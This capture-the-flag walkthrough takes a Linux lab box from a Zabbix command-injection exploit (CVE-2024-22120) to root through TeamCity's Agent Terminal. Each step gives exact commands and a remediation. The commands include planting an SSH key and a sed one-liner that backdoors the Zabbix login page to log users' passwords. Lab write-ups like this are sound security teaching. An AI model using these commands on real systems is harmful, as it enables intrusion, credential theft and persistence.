← all walkthroughs

Watcher

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-10-12
time to own
34m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Zabbix monitoring frontend on a virtual host that allowed anonymous guest access and ran a pre-release version (7.0.0alpha1) with a known command-injection vulnerability. Using only the guest session and a host ID visible in the inventory page, I ran operating-system commands as the 'zabbix' service account, which exposed the first flag. That account had write access to the Zabbix web application's own source code, so I modified the login page to secretly log the username and password of any real user who signed in afterward.

A short time later this captured the credentials of 'Frank', an account for an internal TeamCity build server that was only reachable from the machine itself. TeamCity ran as root, so logging in as Frank and opening its built-in agent terminal feature gave me a root-level command shell, completing full compromise of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Some commands also carry a value in angle brackets (<frank_password>, <planted_pubkey_fragment>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationVirtual host discovery; unauthenticated monitoring dashboard access
Discovered the Zabbix virtual host and its management ports
A port scan showed SSH, an Apache web server that redirected to the watcher.vl domain, and the Zabbix agent/server ports 10050 and 10051. Fuzzing the HTTP Host header against the base domain revealed a 'zabbix' virtual host serving a Zabbix 7.0.0alpha1 web frontend (version visible in the page footer) with anonymous guest login enabled, exposing the dashboard and host inventory to unauthenticated visitors.
Open ports 22, 80, 10050, 10051; zabbix.watcher.vl vhost issued a guest zbx_session cookie; Inventory > Hosts listed 'Zabbix Server' with host ID 10084.
Exact commands 4
shell

Add the discovered hostnames to local name resolution.

$ echo "$TARGET watcher.vl zabbix.watcher.vl" | sudo tee -a /etc/hosts
shell

Confirm the exposed services and banners.

$ nmap -sC -sV -p22,80,10050,10051 $TARGET
shell

Virtual-host fuzz; -fs filters out the default-site response size to surface the real vhost.

$ ffuf -H 'Host: FUZZ.watcher.vl' -u http://$TARGET -w subdomains-top1million-110000.txt -fs 4991
shell

Fetch the frontend as guest and capture the session cookie (base64-decode the zbx_session value to read the sessionid).

$ curl --resolve zabbix.watcher.vl:80:$TARGET -sS -i -c zabbix.cookies http://zabbix.watcher.vl/
FixDisable anonymous guest access to the Zabbix frontendMedium
WeaknessThe Zabbix web interface allowed login as the built-in 'guest' account with no password, letting anyone who discovered the hostname browse the dashboard and host inventory, including internal host IDs needed for the later exploit.
FixDisable the Guest user group's frontend access (Administration > Users > User groups > Guests, uncheck 'GUI access' or set it to disabled) and require authentication for all frontend access. Restrict discovery of the Zabbix vhost at the network/reverse-proxy layer where possible.
2Initial AccessCVE-2024-22120: Zabbix authenticated (guest-accessible) command injection
Exploited an unauthenticated Zabbix command-injection flaw to get code execution
The Zabbix 7.0.0alpha1 frontend was affected by a public, documented command-injection vulnerability (CVE-2024-22120) that required only a valid session ID and a host ID to reach: both available to the anonymous guest account. Using these two values, I ran arbitrary operating-system commands on the Zabbix server with the privileges of the 'zabbix' service account, immediately reading the user flag.
Uid=115(zabbix) gid=122(zabbix) groups=122(zabbix); /user.txt read directly via the exploit's --cmd option.
Exact commands 2
shell

Public CVE-2024-22120 exploit; confirms code execution as zabbix. Sid is pulled from the guest session cookie.

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'id'
shell

Read the user flag; output is <user.txt>.

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'cat /user.txt'
FixPatch Zabbix to a version that fixes CVE-2024-22120Critical
WeaknessThe deployed Zabbix server was running a pre-release version (7.0.0alpha1) vulnerable to CVE-2024-22120, a command-injection flaw reachable with only a session ID and host ID, giving an unauthorised user direct OS command execution as the zabbix service account.
FixUpgrade Zabbix server and frontend to a patched release (7.0.0 or later maintenance release addressing CVE-2024-22120) and avoid running alpha/pre-release builds in production. Track Zabbix security advisories and apply updates promptly.
3Foothold StabilizationSSH authorized_keys persistence via command injection
Planted an SSH key to turn the one-shot exploit into a stable channel
Each command run through the exploit was a single non-interactive request with no persistent shell. The zabbix account's home directory was writable, so I generated a local SSH keypair and appended the public key to the zabbix account's authorized_keys file through the same command-injection primitive, intending to use SSH for a more usable session (the account's login shell turned out to be disabled, limiting this to key staging only).
Install -d -m 700 /var/lib/zabbix/.ssh && printf '%s\n' '<pubkey>' >> authorized_keys && chmod 600 authorized_keys; id confirmed as zabbix.
Exact commands 2
shell

Generate a local keypair.

$ ssh-keygen -q -t ed25519 -N '' -f ./zbx_key
shell

Inject the public key via the command-injection primitive.

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "install -d -m 700 /var/lib/zabbix/.ssh && printf '%s\n' '$(cat zbx_key.pub)' >> /var/lib/zabbix/.ssh/authorized_keys && chmod 600 /var/lib/zabbix/.ssh/authorized_keys && id"
4Credential AccessWeb-application source tampering for credential capture (T1056.003, Input Capture: Web Portal Capture)
Backdoored the Zabbix login page to harvest a real user's credentials
The zabbix service account owned the web application's own PHP source files, so I inserted a few lines into the login-handling code to write every submitted username and password to a local file whenever someone logged in. After waiting for a legitimate user to authenticate, the planted code captured a working credential pair for an account named 'Frank'.
No syntax errors detected in modified /usr/share/zabbix/index.php.
Exact commands 3
shell

Back up the original file before modifying it (good practice, matches cleanup discipline used later).

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "cp /usr/share/zabbix/index.php /tmp/index.php.bak"
shell

Insert a credential-logging hook into the login success block of index.php.

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "sed -i \"/CWebUser::login(getRequest('name',ZBX_GUEST_USER), getRequest('password',''))) {/a \$file=fopen('/usr/share/zabbix/creds.txt','a+'); fputs(\$file, 'Username: '.\$_POST['name'].' | Password: '.\$_POST['password'].\"\\n\"); fclose(\$file);\" /usr/share/zabbix/index.php"
shell

Retrieve harvested credentials after waiting for a real user to log in.

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'cat /usr/share/zabbix/creds.txt'
FixLock down write access to the Zabbix application source treeHigh
WeaknessThe 'zabbix' service account had write access to the application's own PHP source files (/usr/share/zabbix/), letting an unauthorised user modify the login handler to silently capture every subsequent user's credentials.
FixMake the web application directory owned by a deployment/admin user and mounted read-only (or chmod 555) for the runtime service account; the service account should never need write access to its own code. Add file-integrity monitoring on the web root to alert on unexpected changes.
5Lateral Movement / Privilege EscalationInternal service discovery and authenticated pivot to a loopback-bound application
Used the harvested credential to reach an internal, root-run TeamCity server
A check of listening sockets from the zabbix shell showed a service bound only to 127.0.0.1:8111: a TeamCity (Tomcat) build server not reachable from outside the host and therefore invisible to the earlier scan. Because the zabbix account's shell was disabled, I reached this loopback-only port by relaying commands through the same command-injection primitive rather than a true SSH tunnel, then authenticated to the TeamCity web UI using Frank's harvested credentials.
Ss -tulnp (via the exploit) showed 127.0.0.1:8111 listening; Frank's credentials authenticated to the TeamCity login page.
Exact commands 3
shell

Enumerate listening sockets from the zabbix shell; reveals TeamCity on 127.0.0.1:8111.

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd 'ss -tulnp'
shell

Intended approach: tunnel the loopback TeamCity port out to my machine (requires an interactive zabbix shell; blocked here since the account's shell is disabled. Command-injection relaying was used instead).

$ ssh -i zbx_key zabbix@watcher.vl -L 8111:127.0.0.1:8111 -N
shell

Authenticate to TeamCity as Frank (run through the available command-execution channel).

$ curl -sS -c tc.cookies -d 'username=Frank&password=<frank_password>' http://127.0.0.1:8111/loginSubmit.html
FixEnforce unique credentials and MFA for internal application accountsHigh
WeaknessFrank's TeamCity credentials were plain, reusable username/password values with no multi-factor protection, so a single harvested credential pair was immediately sufficient to authenticate to an internal system.
FixRequire unique, strong passwords for every internal service account and enable multi-factor authentication on TeamCity logins where supported. Rotate credentials immediately after any suspected exposure, and monitor for logins from unexpected hosts.
6Privilege EscalationTeamCity Agent Terminal abuse for root-level command execution (CWE-250: Execution with Unnecessary Privileges)
Abused TeamCity's build-agent terminal to run commands as root
TeamCity itself ran as the root user. Once authenticated as Frank, I opened the Agent Terminal feature for the active build agent, a built-in debugging shell TeamCity exposes to authorized users, and used it to run commands directly on the host with root privileges, reading the root flag and completing full compromise.
Id returned uid=0(root) gid=0(root) groups=0(root); /root/root.txt read successfully.
Exact commands 2
shell

WebSocket client that opens TeamCity's Agent Terminal (as Frank) against the active build agent and issues commands; replace with manual browser use of TeamCity's Agents > Agent Terminal UI if scripting is unavailable.

$ python3 teamcity_root_ws.py
shell

Run inside the Agent Terminal session; confirms uid=0 and reads the root flag (<root.txt>).

$ id; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
FixStop running TeamCity as root and restrict the Agent Terminal featureCritical
WeaknessThe TeamCity server process ran with root privileges, and any user able to log in could open the Agent Terminal debugging shell, giving them root-level command execution on the host with no additional privilege boundary.
FixRun TeamCity and its build agents under a dedicated low-privilege service account, never root. Disable the Agent Terminal feature in production (Administration > server configuration) or restrict it to a small, MFA-protected admin group, and review TeamCity's project/user permission model so standard users cannot reach agent-level debug features.
7CleanupArtifact cleanup
Removed the planted SSH key as part of engagement hygiene
As standard post-engagement cleanup, I removed the previously injected public key from the zabbix account's authorized_keys file using the same command-injection primitive, leaving no persistent backdoor in place.
TEMP_KEY_REMOVED confirmation after grep -v removal of the planted key line.
Exact commands 1
shell

Strip the planted key line and remove the temp file.

$ python3 cve_2024_22120_min.py --ip zabbix.watcher.vl --hostid 10084 --cmd "grep -v '<planted_pubkey_fragment>' /var/lib/zabbix/.ssh/authorized_keys > /tmp/ak && cat /tmp/ak > /var/lib/zabbix/.ssh/authorized_keys; rm -f /tmp/ak"

Exposed services

22/tcp
80/tcp
10050/tcp
10051/tcp